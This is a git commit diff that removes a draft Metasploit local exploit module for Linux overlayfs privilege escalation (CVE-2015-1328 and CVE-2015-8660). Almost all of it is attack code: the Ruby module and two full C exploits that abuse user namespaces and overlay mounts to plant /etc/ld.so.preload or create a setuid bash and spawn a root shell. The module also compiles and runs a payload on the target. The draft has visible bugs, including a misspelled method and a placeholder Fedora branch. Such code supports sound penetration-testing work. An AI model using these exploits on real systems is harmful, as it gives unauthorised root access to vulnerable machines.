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bug/bundler_fix
h00die 2016-10-09 09:49:58 -04:00
parent 2c4a069e32
commit 7e6facd87f
1 changed files with 0 additions and 432 deletions
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modules/exploits/linux/local/overlayfs_priv_esc.rb
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel 3.19 and 4.33 Overlayfs Privilege Escalation',
'Description' => %q{
This module attempts to exploit an overlayfs incorrect permission handling bug on via two CVEs.
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
3.16.0-25 (14.10 default) < 3.16.0-41
3.19.0-18 (15.04 default) < 3.19.0-21
CVE-2015-8660:
Ubuntu:
3.19.0-18 < 3.19.0-43
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
Fedora:
< 4.2.8
Red Hat:
< 3.10.0-327 (rhel 6)
Linux Kernels from 3.13.0-24 (default) < 3.19.0-20 and <= 4.3.3 through two different methods/CVEs.
Originally attempted to use metasm, but it was failsauce.
[-] Metasm Encoding failed: ')' expected after Expression[0] got #<Metasm::Preprocessor::Token:0x000000100873d8 @backtrace=["\"<unk>\"", 3, "</usr/include/stdio.h>", 29, "</usr/include/features.h>", 365, "</usr/include/sys/cdefs.h>", 393], @value=nil, @raw="?", @type=:punct> near "(" at "</usr/include/sys/cdefs.h>" line 393,
included from "</usr/include/features.h>" line 365,
included from "</usr/include/stdio.h>" line 29,
included from "\"<unk>\"" line 3
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Jun 16 2015',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'CVE-2015-1328', { } ],
[ 'CVE-2015-8660', { } ]
],
'DefaultTarget' => 1,
'References' =>
[
[ 'EDB', '39166'], # CVE-2015-8660
[ 'EDB', '37292'], # CVE-2015-1328
[ 'CVE', '2015-1328'],
[ 'CVE', '2015-8660']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def mounts_exist?()
vprint_status('Checking if mount points exist')
if target.name == 'CVE-2015-1328'
if not directory?('/tmp/ns_sploit')
vprint_good('/tmp/ns_sploit not created')
return true
else
print_error('/tmp/ns_sploit directory exists. Please delete.')
return false
end
elsif target.name == 'CVE-2015-8660'
if not directory?('/tmp/haxhax')
vprint_good('/tmp/haxhax not created')
return true
else
print_error('/tmp/haxhax directory exists. Please delete.')
return false
end
end
end
def kernel_vuln?()
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
os_id = cmd_exec('grep ^ID= /etc/os-release')
case os_id
when 'ID=ubuntu'
case kernel.release.to_s
when '3.13.0'
if kernel.beween(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.16.0'
if kernel.beween(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.19.0'
if kernel.beween(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
elsif kernel.beween(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '4.2.0'
if kernel.beween(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
when 'ID=fedora' ?????????
else
print_error("Unknown OS: #{os_id}")
end
end
if mounts_exist?() && kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
cve_2015_1328 = %q{
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
}
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Exploit Title: overlayfs local root
# Date: 2016-01-05
# Exploit Author: rebel
# Version: Ubuntu 14.04 LTS, 15.10 and more
# Tested on: Ubuntu 14.04 LTS, 15.10
# CVE : CVE-2015-8660
cve_2015_8660 = %q{
#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#include <sys/wait.h>
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
system("rm -rf /tmp/haxhax");
mkdir("/tmp/haxhax", 0777);
mkdir("/tmp/haxhax/w", 0777);
mkdir("/tmp/haxhax/u",0777);
mkdir("/tmp/haxhax/o",0777);
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
fprintf(stderr,"mount failed..\n");
}
chmod("/tmp/haxhax/w/work",0777);
chdir("/tmp/haxhax/o");
chmod("bash",04755);
chdir("/");
umount("/tmp/haxhax/o");
return 0;
}
int
main(int argc, char **argv)
{
int status;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
struct stat s;
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
stat("/tmp/haxhax/u/bash",&s);
if(s.st_mode == 0x89ed)
execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
fprintf(stderr,"couldn't create suid :(\n");
return -1;
}
}
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname,fcontent)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
#register_file_for_cleanup(fname)
end
def on_new_session(session)
super
if target.name == 'CVE-2015-1328'
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
end
end
if compile
if target.name == 'CVE-2015-1328'
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
else
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
"os.execl('#{payload_path}','#{payloadname}')")
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
end
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
end
#upload_and_chmod(executable_path, elf)
upload_and_chmod(payload_path, generate_payload_exe)
vprint_status('Exploiting...')
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
#register_file_for_cleanup(executable_path)
end
end